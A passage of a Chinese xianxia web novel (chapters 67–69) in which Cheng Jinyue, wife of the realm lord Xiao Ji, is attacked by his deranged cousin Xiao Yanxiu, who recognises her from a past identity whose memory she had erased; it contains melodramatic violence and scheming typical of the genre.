程今越只是哭着摇摇头,没有说其他的话。 萧极却突然将她翻身,将她放在了古琴之上躺着。 程今越瞬间一惊,这个疯子要做什么? 她立马看向窗外,还好原本大开着的窗户如今已经被帘子遮挡住,屋内只点了一点昏黄的光。 “难道你想说,魔君大人爱你爱到骨子里,甚至愿意为你扛下几十道箭,受尽折磨,结果只在你的床边跪着,甚至不敢爬上去,只甘愿做你的一条狗?” 他说着,动作却没有停下,伴随着他的动作,身下的琴也随之传来难听凌乱的声音。 “我和魔君之间没有什么,夫君要怀疑今越吗……” 她眼睛泛红,泪水不断淌出。 撒谎。 但是他会慢慢揭开程今越的皮的。 他喜欢这样霸占的感觉,他喜欢有挑战的感觉。 魔君求不得的爱人在他手中,欺弄苍生的神女在和他扮演游戏。 这的确让他非常满意。 窗外传来愤愤不平的声音,随后又淡去了,应当是被阻拦后离开了。 结束后,萧极只是轻轻将程今越抱在怀里。 但程今越还是颤抖着。 “界主,今越求您,不要再提此人了,可以吗?” 她抬起眼眸,看着萧极,随后轻轻抱住萧极。 “我很害怕他,今越真的很害怕。” “我好不容易逃离他,他会杀了我的,他真的会杀了我。” “我会好好待在界主身边。” “求您,求您不要抛弃我。” 程今越腰肢柔软,一张小脸埋在 温柔地,他轻轻擦掉程今越脸上的泪水。 “别难过,小越,我当然不会抛弃你的。” 程今越点点头,怀念着方才。 希望萧极能在死在她手里之前,好好地多表现几次。 …… 萧砚修被众多侍卫劝回,他想闹翻天,最后还是被萧礼两人劝住。 他怒气冲冲地回到宴席之中。 要是可以,他一定会掀翻宴席所有的桌子,泄愤地杀了所有人。 “一会儿界主与夫人就来了,你何必急于一时呢?” 萧砚修想了想也是,于是他一直等,一直等,结果等到天黑之后,萧极和程今越都还没有来。 到了最后,甚至让仆从宣布萧极不来了,直接开宴。 说是界主繁忙,夫人身体抱恙。 萧氏来人众多,几乎沾亲带故的全来了,无不精心准备此次筵席,所有人坐在其中,神色皆变,但没有一个人敢说不好,只是都点了点头,自顾自地随意闲谈。 萧极可谓是狂傲至极,根本不把他们这些人放在眼里。 毕竟这个筵席的目的也就是为了给程今越立威,告诉所有人,必须要正视程今越的身份,所有人来了,虽然没有见到正主,但是目的其实已经达到了。 萧极本来就不想和这群人打交道,可有可无的关系罢了,最后有些累了,不想来,也是情理之中。 不过所有人敢怒不敢言。 萧砚修炸了,这是什么意思? “我就说吧,这个程今越根本就不是什么好东西,什么善良温柔,你们全都被她骗了!” “肯定是她勾引哥哥,在哥哥面前说了什么,才让哥哥陪着她,竟然连我们都晾在了一旁!” 萧砚修一把将桌子掀翻,桌上盘子碎了一地,所有人都朝他看来,心中微动。 萧砚修怒气冲冲地就往外走,他不会允许这样的事情发生,他一定会劝住表哥,一定不会让大家受到蒙骗。 一群人拉都拉不住他,任由他朝萧极的寝宫走去。 可是萧极如今很忙,此刻并不见任何人,萧砚修思来想去,没有任何办法,只好连忙写了一封信,叫人送到了萧极的手中。 此时萧极确实在忙,他抱着程今越,亲手帮程今越清洗着身子,动作细致温柔,与方才判若两人。 结束后,他收到了萧砚修送给他的信。 他只是轻笑,然后将信放到了程今越的手中。 萧砚修? 谁? 程今越打开了信封,信中洋洋洒洒几千字。 她很快就看完了。 读过书的,有些文化,比其他的纨绔贵公子有文化多了,比如程望。 信中近乎全是对程今越的指控。 “表哥,程今越此人断然不是好人,尽管砚修从未见过此人,但依旧有确凿证据。” “魔君为她舍生忘死,青岩山少主为她顶撞先辈,此女定然手段高明,断然不像传闻中那样温柔善良。” “砚修也在暗中调查过此人,凡是此女待过的地方,皆遭遇血光之灾,若是一次也罢,可几乎次次如此,就连大衍剑宗,曾经如此庞大,如今却也悄然落幕。” “此女身世不详,命中带厄运,专克身边之人,还望表哥再三思虑!” 程今越大概明白萧极为什么会与萧砚修稍微交好了。 虽然萧砚修有些蠢,但是做人比较实诚,直来直往不会骗。 像萧极这样在权力顶尖的人,享受惯了别人对他的恭敬与奉承,甚至连眼睛都懒得抬起来看别人一眼,心中总是疑心病重,总是会想谁对他不忠诚。 但是萧砚修是个例外,他耿直,情绪都在脸上。 程今越随意瞥了两眼这封信,无非就是那几句话,没意思。 “他好像对你有些误解。”萧极黑色的眼眸看着程今越,眼中带着笑。 “不过我想,这对你来说非常简单,程今越。” 程今越不知道萧极到底是在诈她还是真的对她有什么了解。 但是程今越已经知道了如何在萧极这种疯子手里面好好地活下去。 那就是装疯卖傻。 尽管萧极并不好骗。 但没关系。 毕竟感情,讲究的都是你情我愿。 不过第二日,程今越在殿门口浇花,正浇到一半,一把剑就架在了她的脖子上。 “你就是程今越?” 身后传来少年狂傲的声音。 程今越不敢动,身边这柄剑格外锋利,若是稍微一碰,一定会出血。 她不用猜就知道是谁,只不过她以为应该还要一段时间才会来招惹她,没有想到来得这么快。 但是她还是装作不懂地问了一句,“请问今越是哪里招惹了您,不妨与今越好好一谈?” “谈?跟你有什么好谈的。” “程今越,你做这无定界的夫人,可真是心安理得啊,你骗得了别人,但是骗不了我!” “你这个狐狸精,你有什么本事做我的嫂嫂,跟一个废物一样,你能不能赶紧去死!” 他言语愤怒,“别背对着我,你敢勾引我哥哥,是无颜面对我吗?” 程今越站在萧砚修身前,他看不到程今越的模样,只能看到这是一个瘦削的女子,黑色的长发在腰间,随风飘逸着,肌肤白皙,穿得格外的素,她站在花中,晨光洒在她的身上,轻盈又干净,看起来完全不像是无定界的女主人应有的打扮。 只不过她的气质出群,便是在茫茫人海之中,也能轻易锁定到这个身影。 他倒要看看,这个程今越到底长什么狐媚样子,竟然能把这么多人的心勾得团团转! 程今越没有说话,只是轻轻一笑。 她抓住脖子上的剑,将它挪开,锋利的剑划破程今越的纤细的手,鲜血瞬间从程今越的手中流出,血腥气在空中弥漫开来,与花香混杂在一起,血滴落在地上,绽开点点红梅。 程今越转过身,萧砚修终于看清了他这位嫂嫂的容貌。 “请问公子寻我有何要事?” 程今越将萧砚修扫了一遍,他穿着复杂又奢华的深红色衣裳,身形高瘦,一张少年气十足的皮囊让人眼前一亮。 和萧极的外貌有几分相似,但气质相距极大,他眉眼高傲,居高临下地俯看着程今越,眼里是不加掩饰的暴躁和戾气。 但紧接着,程今越便看到萧极满是戾气的眼眸瞬间便瞪大,疑惑又震惊地看着程今越。 不是因为程今越的长相有多么出众,更不是什么一见钟情。 萧砚修愣在原地,他呆呆地看着程今越,他听到自己的心在怦怦直跳。 他觉得自己的喉咙像是被什么堵住了,想要开口却又如鲠在喉。 他见过程今越,在很久以前。 萧砚修从来没有跟任何人说过这件事情,只深深地埋在他的心底。 “宁安?”他脱口而出,带着犹豫与不可置信。 这个名字他已经很久都没有提到过了,只有在午夜梦回的时候,才会在心里一次又一次地念这个名字。 萧砚修并不是什么公子哥,他虽然被宠坏了,但是家中对他的要求并没有丝毫的减少。 只是因为他天赋异禀,所有要求他做的事情,他都能极快极好地完成。 曾经在人间游历的时候,萧砚修见过一个女子,叫宁安。 她很厉害,潇洒自如,心胸宽广,正义果敢善良,嫉恶如仇。 虽然他和宁安总是拌嘴,一路上吵来吵去,但亦联手斩杀妖魔无数。 但是,有一天,宁安不见了。 不告而别。 萧砚修在人间寻找了她三个月,仍然不见她的踪迹。 这个人好像如人间蒸发一样,消失了。 更为恐怖的是,所有认识宁安的人都说记不得她了。 就好像是这个人从来没有在这个世上来过一样。 但在今日,宁安又出现了。 她长了一张和程今越一模一样的脸。 第67章 “我好恨你,程今越。” 程今越微微皱眉,看着萧砚修嘴里脱口而出的这个名字有些疑惑。 “什么?” 萧砚修觉得心脏有些隐隐作痛,过去的种种回忆如潮水一般席卷而来,让他有些窒息,他觉得自己有些不能呼吸。 萧砚修手中的剑瞬间没有握稳,清脆的一声落到了地上,他突然冲上去,一把抓住程今越的肩膀,眼眸瞬间瞪大,死死地看着程今越。 “宁安,你还想骗我,你明明就是宁安!” “你为什么要不告而别,你为什么会在这里,你为什么……” 萧砚修死死抓着程今越的肩膀,力气极大,让她疼得忍不住轻呼出声,萧砚修跟疯了一样,疯狂地摇着程今越,一张漂亮的脸硬生生变得阴森又扭曲。 “你冷静一点!” 冷静?如何让他冷静。 萧砚修这辈子都忘不掉宁安。 人就是爱过的人拼成的碎片。 萧砚修从来从不穿红色,他觉得张扬,但宁安喜欢穿红色,他开始下意识地模仿这一抹张扬的红。 萧砚修从来不喜欢分开切梨子,因为宁安告诉他,分梨的意思就是分离,那个时候萧砚修不屑一笑,只是说着“无聊”“迷信”这样的话。 萧砚修从前扭捏,不爱表达,他脾气火爆,肆意妄为,但他已经渐渐快要改过来了,但是教他的那个人已经失踪了。 宁安消失的那一天,他记得很清楚。 他们明明说好第二天去人间,去斩杀为乱人间的一只地兽,但是当他敲响宁安的门时,对方消失了,就连痕迹也没有留下。 他发了疯一样四处寻找宁安的踪迹,哪怕是能证明她存在过的痕迹也好,但是没有人记得宁安。 他这才发现,他从未去了解宁安从哪儿来到哪儿去,他对宁安一无所知。 直到宁安离开后,他才惊悚地发现,这个世间,竟然没有一个人记得宁安。 过去所有的嬉笑打闹,所有的并肩作战,内心产生过的情愫,坐在屋檐上的交谈,好像是南柯一梦。 当时只道是寻常,在这世间中,宁安就好像是秋叶一样飘走了,消失了,只留下了孤独的他。 而如今,他回忆起来了,记忆像是野马一样,在荒原践踏而过,清晰得让他好疼。 记忆中那张总是笑着的脸,越来越清晰,逐渐和眼前睁大眼睛看着自己的女孩重叠起来。 程今越拼命挣扎着,但是萧砚修仿佛跟进入了魔障一样,他疯狂地质问着程今越,听不进任何人说的话,他双眼泛红,整个人神色狰狞,程今越体力不支,近乎要瘫倒在地。 “宁安,你想骗我?你还想骗我!” “你明明就是宁安!你就是变成灰我都不会忘记你!” 他嘶吼着,整个人颤抖着。 疯子疯子疯子! 她被萧砚修按得生疼,骨头都几乎要被对方按碎。 她朝四周看去,所有人都跪在地上,没有一个人敢开口说话,没有一个人能救她。 当然,她也不奢求别人来救她。 “我不是,我真的不是,你认错人了!” 她拼命说着。 萧砚修又突然愣神,他又大哭起来,他低着头,发疯似的,不停地说着,情绪像是洪水一样朝程今越涌来。 他又哭又笑,滚烫的气息喷在程今越身上。 “对不起,对不起,对不起,是我当年对你说过太多狠话,是我当年太顽劣,都是我的错,我已经改了,我已经不是以前那样了,你可以惩罚我……” “你为什么变成程今越了,你为什么不来见我呢,你为什么要不告而别,为什么不告诉我,你明明知道,你明明知道,我一直在找你……” 凶狠偏执,但又脆弱可怜。 “求你……” “啪”的一声,打断了还没说完的话。 四周突然寂静。 萧砚修的脸上起了一个鲜红的手掌印,他的头被一巴掌打偏,他整个人突然一怔。 他呆呆地看着程今越,泛红的双眼突然澄澈起来。 程今越大口大口喘着气,抬头斜看着萧砚修,她朝萧砚修吼着。 “萧砚修,我是你嫂嫂!” 她一把推开萧砚修,往后退着。 她满脸怒意,“你口口声声为你哥哥,此刻却在对你的嫂嫂无礼,萧砚修你真是疯了!” 萧砚修愣愣地站在原地,他整个人失魂落魄,一双眼眸一眨不眨地看着程今越,一张俊美非常的脸透着丝丝青白之色。 和萧砚修的气质完全不符,格外森冷,让人觉得诡异非常。 程今越心中一凉,明明是白天,但是她不禁背后起了冷汗,萧砚修的一双眼眸盯得她生冷。 像是有无数双眼睛在看着程今越,阴森森地,像潮湿一样,从皮肉沁透进骨子里。 萧砚修突然一笑,从喉咙发出来的笑声传至每个人耳朵里。 “是啊,嫂嫂。”他笑着。 程今越往后退,她心中有着格外不好的预感。 “没关系,哥哥现在很忙,他不会知道的。” “没有任何人会知道的。” 他低哑的声音里带着几分病态的痴狂。 萧砚修大笑起来,四周的灵力突然涌动起来,拨动着四周的风,花园中所有的树开始摇晃起来,恍若地动山摇,程今越被这强大的力量冲击到地上。 程今越瞪大眼睛看着萧砚修,耳边传来一阵嗡鸣,她开始听不到四周的声音,有灵力仿佛在挤压着她的血肉。 而后听见剧烈地砰的一声。 春光明媚的花园中血肉绽放,在附近所有的侍卫与婢女,瞬间炸开成一团血肉,宛若爆浆的橘子一般,在风景如画的花园绽开,血腥气瞬间弥漫开来,浓厚,令人作呕。 程今越瞬间生理性地反胃,她立马干呕着。 几块血肉落在她的脚边,甚至还鲜活地在颤动一般。 “你要干什么?”她惊呼,泪水从她的眼眸里涌出。 她不是没有见过这种画面,但浑身依旧本能地颤抖着,她极力保持着自己的冷静。 他整张脸开始扭曲起来,他猖狂地笑着,他捡起地上的剑,指向程今越。 “你从前骗了我,现在还想骗我哥哥。” 那柄剑上还有程今越的血,萧砚修用手指将剑上的血捻起,他将带血的手指放在自己的鼻尖,像一只狗一样,嗅了又嗅,像是要吸进身体里。 最后萧砚修将血放进自己的嘴里,紧紧吸吮着,随后大口地喘着气。 他兴奋地颤抖着。 “啊……就是这个气息,我不会认错的,就是你,你还想要骗我?” “哈哈哈……” 程今越难以置信地看着他,随后强忍着站起身来,她往后慢慢退着,泪流满面。 “我好恨你,程今越,你知道,我真的好恨你。” “不过没关系,我会替哥哥清除你这个祸害的。” 萧砚修一双眼眸瞪大看着程今越,眸光病态,他笑着,雪白利齿清晰可见。 他身上是其他人的血,嘴唇上是程今越的血。 他拿起剑就朝程今越刺去,毫不犹豫,带着绝对的杀气,剑气凌厉。 “去死吧,程今越。” “哈哈哈……” “去死去死去死去死去死!” 程今越心中一冷,几乎快要停止呼吸。 可当剑要落到程今越身上的时候,这柄剑却突然间转了房间,咻的一声刺进了萧砚修的胸口。 鲜血瞬间在程今越眼前崩裂开。 “不要——”程今越惊呼。 这个疯子别死在她面前,这样她怎么和萧极交代。 萧砚修眼眸中恶劣的笑瞬间收回,他好像回过神一样,双眼变得猩红。 他突然跪倒在地上,瞬间大哭起来,泪流满面,发了疯地朝程今越爬过去。 “我怎么可以杀你呢,对不起对不起对不起,我爱你,我会保护你的,我可以原谅你的,我可以做到的。” “都是我不好,宁安,你再捅我一剑吧,是我不好,是我不好……” “啊……求您,你杀了我吧……” 萧砚修像一只蠕动的虫子,不断地拉着程今越的衣角,他朝程今越磕头,他身上的血不断地在流。 “别碰我!滚啊!” 程今越连忙往后退,她觉得她都快要被逼疯了。 人倒霉的时候,真的会一直倒霉。 她不懂,为什么她的命偏偏就这么差。 宁安不过是程今越以前用过的无数个名字中的一个罢了,程今越在这世间活了近百年,为了活下去,不断变化着外貌与名字。 但是总有的时候灵力不够,只好节约一点,使用自己的脸,只要在走之前将这群人的记忆全部抹去就好了。 但是没有想到萧砚修竟然有这样的身份,对方隐藏得太深,她根本没有想到,她只知道对方修为高深。 这招洗忆术,她已经练到炉火纯青,竟然没有想到没有让萧砚修忘掉自己。 她不敢随意暴露以前的身份,如今她在萧极手中,萧极根本就不信任她,本就是小命岌岌可危,如今还遇到了这种事。 麻绳专挑细处断,厄运总挑苦命人。 但是,这和她的记忆有根本的出入。 萧砚修根本就不是这样性格的人! 虽然萧砚修性格暴躁,大少爷脾气,但无论如何都是一个正常人,在仙门的培养下,有着最基本的道德品质,他心向正义,愿意斩杀妖魔,保护百姓。 所以程今越利用萧砚修,用激将法,让萧砚修和他一起斩妖除魔,清除人间恶徒,虽然最后都是利好了程今越,这些灵力全部都被程今越吸收了。 程今越如果不是在极端的情况下,是绝对不会铤而走险,和一个疯子合作的。 萧砚修顶多算是一个纨绔公子,起码是个正常人。 尽管她和萧砚修认识了也就是不到半年的时间,她承认,她或多或少知道萧砚修的情感,但绝对不是现在这样离谱的境界。 萧砚修绝对不会肆意杀戮,罔顾人伦,毫无人性,喜怒无常! 更不会对她的感情到了如此癫狂,甚至要自残的地步。 哦,这她就很熟悉了,她想到了另一个疯子。 第68章 “好久不见。” 程今越整个人愣在原地,看着这个像蠕虫一样拉扯着自己衣角的萧砚修,对方泪涕横流,一双手死死地抓住程今越,就像是抓住救命稻草一般。 萧砚修双眼猩红,血沾在他的脸上,打湿他的鬓角,整个人像是从地狱里爬上来的恶鬼,他哭着,一边大喊“求你不要抛弃我”,然后愤怒着,大声吼叫“我爱你我恨你”。 程今越抬手又给了他*一巴掌,清脆有力。 “别过来啊,你疯了?” 这和程今越记忆中的萧砚修完全不同,这完全就是个疯子,像是被下了降头一样,吃了什么蛊毒。 萧砚修如今脸颊两边都是鲜红的手掌印,他被打得有些茫然,他抬头看着程今越,意识到了自己在做什么后,他哭泣着想要站起身。 程今越看着萧砚修的眼神又逐渐变得清澈,她松了口气。 结果萧砚修又突然抱着头,头痛欲裂,他跪倒在地上,脸色苍白,身上的血还在流着,他双手死死揪着头发,身体不受控制地微微颤抖,豆大的汗珠从他脸上滚落,混合着血渍。 程今越趁这个时机连忙站起身就往身后跑,萧砚修死就死吧,萧极怀疑就怀疑她吧。 她现在再不跑,说不定真的要死在这个疯子手里面了。 可她刚迈步,萧砚修就如狼一样向前扑,一把抓住程今越的脚踝,程今越瞬间被这猛烈的力量拉倒在地。 程今越瞬间吃痛地落在地上,萧砚修不断朝她爬来,神色诡异而扭曲,又哭又笑,像是这具身体里有无数个恶鬼在争夺着身体控制权。 “是啊,程今越我就是疯了,我就是疯了,我恨你程今越,我要杀了你。” “呜呜……你别后退,你看看我好吗,你杀了我吧,我不会乱动了。” 胡言乱语,像是一个疯子。 程今越看着四周,到处都是残躯与血肉,一片茫然,没有任何人能帮忙。 她垂下眼眸,整个人突然笑起来,单薄的身子勉强坐起来,凌乱的黑色长发与血水交杂在一起。 “没事的,没关系,我不会怪你的,我会好好听你说话的,别哭,好吗?” 她轻声说着,将所有情绪敛住,然后悄无声息地将缝隙中的一把小巧的匕首藏在袖中。 程今越很清楚自己的定位,她从来没把自己当做这个无定界的女主人过。 萧极无非是觉得她有些秘密,想一层一层剥开她,一旦腻了之后,程今越会死得很惨。 想到萧极,程今越心中就一阵怒火。 萧极是怎么想的,程今越根本不知道,她猜不透疯子的想法。 但她知道,萧砚修是真的想杀了她。 不管之后会发生什么事情,但是程今越现在是不能死的。 谁都可以去死,但是她绝对不会死。 萧砚修头痛欲裂,他懵懵懂懂地听懂了程今越说的话,他笑着朝程今越走过去。 一步一步,程今越的刀就在手中。 那就把萧砚修杀了吧。 “嗯……好……我明白了……” “程今越……” 萧砚修整个人摇摇晃晃,像是凭借着本能一样,他笑着,但剧烈地头疼让他发出低低的嘶吼。 越来越近,萧砚修身上的血腥味扑到程今越身上。 程今越手中的刀已经准备好了,她双眼蓄着泪,整个人却笑着。 就在一瞬,程今越就要将刀捅进萧砚修的心脏里,一道猛烈的强风却将萧砚修瞬间推开。 程今越被这风吹得猛地闭上眼睛。 “萧砚修,你在做什么!” 萧礼抓住萧砚修,身后跟了一群侍卫,一群人上去就将萧砚修压住。 萧砚修瞬间如恶鬼一样咆哮挣扎起来,所有人心中一怔,几乎快要控制不住萧砚修。 就在此时,一根银针驰来,稳稳地刺进萧砚修的眉心。 萧砚修瞬间瘫倒在地,整个人昏睡过去。 终于,周围变得宁静,程今越几乎能听得见自己心跳的声音,跳得格外的快,她躺在血泊之中,苍白的肌肤显得格外羸弱,一双雾蒙蒙的眼眸还在不停地落泪,双眼泛红,整个人大口呼吸着。 萧盼兮连忙上前,一群医修连忙上前查看着程今越的情况。 “嫂嫂,你没事吧。” 她满脸担忧看着程今越。 萧盼兮曾经远远地见过程今越,也在人间的庙堂之中见过程今越的神像,但是这还是她第一次见程今越。 看到程今越的时候,她会情不自禁地想到春天时挂在海棠花上的朝露,脆弱、易碎、美丽。 程今越敛住了脸上的泪,但满脸的泪痕依旧说明了少女方才遭遇的恐怖。 “我没事。” 她柔柔地回应着,随后脸上浮现出一个笑,她抬眸看着萧盼兮,只是瞥一眼,她就知道这个人是谁了。 根据相应的性格做出对应的答案。 她了如指掌。 萧盼兮将程今越扶起来,对方低着头,虽然身边全是血腥,但她依然挺直后背,不哭不闹,安静地摇着头,教养格外地好。 萧盼兮心中忍不住心疼,她唤出净身术,将程今越身上的血渍污秽全部去除。 “嫂子,对不住,是我们来太晚了。” “表哥在外应对魔族,并非是忽视了嫂嫂,是盼兮没管好我这个弟弟。” 程今越朝她笑着,一双眼眸澄澈,她声音很轻,“我真的没事。” “不过是一些皮外伤,谢谢你……” “你是……盼兮吗?”她轻声问着,带着一丝不确定。 萧盼兮突然笑起来,她确信,程今越这是第一次见她,“嫂嫂,你认得我?” “我听别人说起过你,也只是猜测。” 萧砚修已经被人带走了,萧礼上前打断两人的对话。 “抱歉嫂子。” “我替砚修替您道歉……虽然我知道言语太过轻薄,明日我必定亲自来赔礼道歉,等砚修好些之后,我再带他亲自来找嫂嫂谢罪。” 萧礼愧疚地低着头。 其实从明面上来看,程今越比萧礼和萧盼兮都要小上好多岁,对方却要毕恭毕敬地低头喊她一声嫂子。 程今越摇摇头,她听出来其中有些问题了。 萧礼继续解释道,“不瞒嫂子,就在半月前,魔君与仙界宣战,魔族嗜血杀戮,残害百姓无数,砚修主动请缨与魔族一战,谁料他进入了一处魔族设置的陷阱之中,受了重伤,我们将他带回之后,他便神志不清了好几天。” “但他的症状也不过是有些记忆混乱,性格更加易怒了,或许是受魔族影响的缘故,我不知道为什么,他会对嫂嫂有这么大的恶意,他如今险些伤害到嫂嫂,罪不可赦。” “我等回去后一定好好教训他,还望嫂嫂放心。” 程今越点点头。 看来萧礼并不知道萧砚修与宁安的这一段经历,以程今越对他的了解,萧砚修是不会对其他人说这件事情的。 萧砚修骨子是个别扭的少年,他自己根本看不起灵根微弱的人,也不把百姓的命放在眼里,所谓的帮助百姓也不过是满足世人的常规价值观,满足自己的虚荣感,乞求获得赞颂。 所以,萧砚修喜欢上了一个人间的女子,这件事情他是羞耻的,他不敢轻言,不敢告诉别人,他只敢藏在心里。 “抱歉,是我太弱了,我的修为太低,砚修对我心有埋怨也是人之常情。”她摇摇头。 “我本是配不上界主的,不过是界主心地善良,看在我姐姐的份上才娶了我,今越不敢要求更多。” 她谦卑地低着头,让所有人心中都为之一酸。 虽然这是事实,但是没有人敢在程今越面前提起。 但这聪明又乖巧的女孩早就明白了所有,懂事得让所有人都不禁心疼。 所有人都有些哑口无言。 既然见了面,萧礼作为男人,需要避嫌,只是短短说了几句便离开了。 萧盼兮便留在殿中,安抚程今越,和她随意交谈着。 她没有见过程今越这样的女人,不卑不亢,温柔,聪明,不会因为别人的抬举而得意忘形,也不会因为别人的贬低而丧失自我。 她问了程今越曾经的经历,喜好,爱好,身体怎么样,是否想念在大衍剑宗的日子。 她随意地闲聊着,程今越全都一一回答了她。 她心中程今越的形象更加饱满。 程今越有学识,有教养,她做过很多事,会很多东西,程今越坐在光下,柔顺的黑发像绸缎一样,她白净的脸上总是带着笑,总是温柔的。 和单薄的身躯不同,程今越的身体里充满生命力,干净得让人多看一眼都是亵渎。 萧盼兮从来没有在萧极身边见过什么女人,就算有,也没有任何桃色关系。 在萧极年纪还没有那么大,修为还没有到顶尖的时候,无定宫中不乏有其他地方塞来的女人,要么是想要给萧极做后母,要么想要爬上萧极的床。 程今越是第一个。 她曾经也在惊讶萧极的铁树开花,如今她也明白了缘由。 谁和程今越待在一起都会很舒服,萧盼兮忍不住这么想。 她坦诚,像是把一颗心放在面前,让谁的心中都会为之一动。 她突然觉得有些叹息。 她清楚地知道萧极是什么样的人,程今越不应该被束缚在这座宫殿,也不应该成为萧极的金丝雀。 众人走了,宫殿中再一次变得安静。 程今越又拿出了书,附近没有人。 前几次,有人通过这本书和她联系,向她传递萧极的消息。 但是书中没有任何消息。 她微微叹气,合上了书。 这些消息对她来说很重要,在无定界中,她没有办法从任何一个人的口中挖出萧极的消息。 对于一面不会反光的镜子,程今越并没有十足的把握。 她很好奇,到底是什么人才能在萧极的眼皮子底下和她联系。 她猜不出来对方是什么人,因为消息过于客观,只是阐述萧极今日做了什么特别的事情,没有向她表露出任何要求她做的事情。 很奇怪。 …… 这件事并不是一件小事,虽然无定宫中没有一个人敢议论这件事。 萧极很忙,程今越不知道他在做什么。 但是这几个晚上,她便会在睡前和萧极通过神识联系。 程今越看到了水幕中的萧极,他的神色比从前看起来要差。 看起来怀钰给了他很大的压力。 萧极虽然有破魔铃,但是抓不住怀钰,那就拿怀钰一点办法都没有。 而怀钰是一个疯子。 萧极安慰了程今越,并承诺会给程今越公道。 第二日,萧礼便告诉程今越,萧砚修今日就要行刑,在众目睽睽下,刑罚不轻,萧极的确给了她一个公道。 萧礼请程今越来监督行刑,程今越没有去,将她不喜血腥的消息传递了过去。 萧礼也理解。 以程今越如今的这张皮,当然是不可以去的。 但她从没有说过她这个人不记仇。 那里有她的一滴血充当眼睛。 她看到侍卫毫不留情,手里的鞭子一道又一刀用力地落下,萧砚修如今神色镇静,正常了许多。 他撑在地上,挺直着背,高傲的神色毫不掩饰,眼中依旧带着不服气。 空中是血腥气的味道,萧砚修只是闷哼着,没有多说一句话。 他或许知道自己错了,但是心中依旧不爽。 毕竟自己关系如此好的哥哥,竟然为了一个女人打他。 她听着鞭子抽打的声音,心中格外舒畅。 但还是完全不够,如果这些疯子能直接去死就好了。 她笑盈盈地用远处的眼睛盯着萧砚修。 可就在一瞬间,萧砚修却突然抬头,朝她的方向突然一笑。 程今越后背一凉。 她立马断掉这只眼睛的联系。 她下意识翻开手中的书假装冷静。 而书中却突然出现四个血红的字。 “好久不见。” 第69章 烂人真心。 未知总是让人恐惧,在这偌大的棋盘中,程今越是最不起眼的那枚棋子,或者说,程今越弱得甚至别人都不屑将她看作一枚棋子。 但弱小并不是一件坏事,这是程今越最好的保护色,没有人想到一朵稚嫩的小白花会吃人。 程今越能在花园内看书看一整天,有时也会在石径小路上发呆,时而弹琴吹箫,就连在程今越身边的眼睛,看惯了程今越如此的模样,心中也忍不住放下戒备心。 程今越能感受到,她周围的眼睛盯得没有那么严了。 就可在昨日,她又感受到了灼热而阴湿的目光,在深处死死地看着她,但她就是无法用气息探测出来是谁。 这和原本无定界中注视程今越多眼睛不同,这道目光带着体温,像是墙壁上的爬山虎,在不经意间,就会爬满整个墙壁,密密麻麻,像一双双眼睛。 让程今越简直无法呼吸。 萧礼说要带萧砚修来找程今越当面赔礼道歉,可是等上近半个月,程今越都没有等到这句道歉。 面上给出的理由是,萧砚修上一次和魔修作战,伤还没有好,而这一次被打了鞭子,旧伤未愈又添新伤,怕是要休养一阵,若是一好,必定来找程今越道歉。 话是这么说,具体是什么情况,她也不清楚。 不过,她也不在乎这个东西,毕竟以萧砚修的性格来说,是绝对不会来给程今越道歉的。 她也不想见萧砚修,她担心萧砚修又来发一次疯,那她真的会有些承受不住。 从上一次后,程今越也再没有在现实里见到萧极,但说实话,自从进入无定界后,她和萧极待在一起的时间并不多,与其说是他的未婚妻,更不如说是养的一只金丝雀,适合在闲暇的时候找一找,逗逗乐。 但这一次却格外不同,萧极让仆人每日给程今越送滋补的东西,又常常送各种珍宝逗程今越开心,他的关心无微不至。 每天都要求程今越用神识与他见面,在睡前,沐浴中,铜镜前。 像极了一个温柔的丈夫,在关心自己亲密的妻子。 并不止于此,萧盼兮也常常来寻找程今越。 萧盼兮性格开朗,她与萧礼同胞,没有大小姐的娇气,但也并不蠢笨,知书达理,有着良好的教养,笑起来的时候脸上有酒窝,程今越对她并不排斥。 或许是家境优渥的缘故,萧盼兮说话总是耿直,像是没有秘密一样,一双眼笑盈盈的,“嫂嫂,我真喜欢和你待在一起,我好喜欢你。” 直白地表达让程今越微微一愣,她也笑着,将手中的书合起来,自然而安静地坐在床边的木桌前,窗外是娴雅的花,一头黑发落在腰上,脸上带着淡淡的笑,干净美好。 “盼兮也很好,我也很喜欢盼兮。” 萧盼兮笑得更开心,“嫂嫂,我听着哥哥要成婚的时候,我可诧异了,我根本就没有想过哥哥会喜欢上哪个女子。” “可是见了嫂嫂,我终于懂了他们说的,见过‘程三小姐的人都会喜欢上她’这句话是什么意思了。” “哥哥和嫂嫂可谓是天生一对!” 天生一对吗? 某种程度上是的。 一个道貌岸然的野心家,一个玩弄人心的小白花。 全都是一重接一重的戏码,没有任何的信任与真心。 萧极想利用程今越彻底杀掉怀钰,程今越想要拿走萧极手里的破魔铃。 人人各怀鬼胎。 程今越摇摇头,“界主娶我不过是看在姐姐的份上,对我并没有什么感情,今越有自知之明。” 萧盼兮却摇摇头,“不会的,我认识表哥这么久,他从来没有对一个女子这么上心。” “爱是藏不住的,是能够感受到的,不是光凭言语就能体现的。” “表哥总是会把余光往嫂嫂身上瞥,他会打听嫂嫂喜欢什么,爱好什么,只是嫂嫂不知道罢了。” 程今越只是笑着。 她悠哉悠哉地看着书中突然出现的文字,面不改色,记在心中,随后继续若无其事地将书关上。 “好久不见”四个血字已经消失在书里面了,好像没有出现过一般,但是每当程今越想起,背后都忍不住一凉。 就像是那日殿中全是碎尸与鲜血,但第二日就消失得干干净净,不会有任何人记得。 连同人的体温与回忆一起被抹杀在过去。 程今越清楚,如果她赌输了,这就是她的下场。 “如果界主能对今越有一两丝心意,今越便心满意足了。”她低下头,露出少女的娇羞。 她看着萧盼兮,听着萧盼兮继续问她大衍剑宗,问她的姐姐,问她的从前,程今越全都一一回答。 萧盼兮看起来的确值得信任。 不过有意思的是,书上最后一行写了一句话: “不要相信萧盼兮。” 萧盼兮依旧在说着,笑眼盈盈,在光下看起来格外具有轻柔力。 萧盼兮的问题更像是替萧极问,她就是萧极的眼睛,她是萧极营造出爱她假象中的一环,萧极想要让程今越爱上他,心甘情愿为他巩固地位,为他袒露真心,为他杀掉怀钰,为他去死。 不过很可惜,程今越什么都不信,无论是书、萧盼兮、萧极,她谁都不信,她只相信自己。 还没说完,程今越便得到消息,萧砚修公子的身体貌似好起来了,终于想起来给程今越道歉了。 程今越一路来到主殿。 白玉铸成的长阶,光照在殿上的琉璃瓦上,泛着华丽的光。 所有的侍卫婢女站在一旁,皆低着头,和摆在殿中装饰用的瓷器并无区别。 不过程今越最先见到的并不是萧砚修,而是一对陌生的中年男女,气质不凡,灵力充沛,灵根卓越,不是泛泛之辈,衣着雍容华贵。 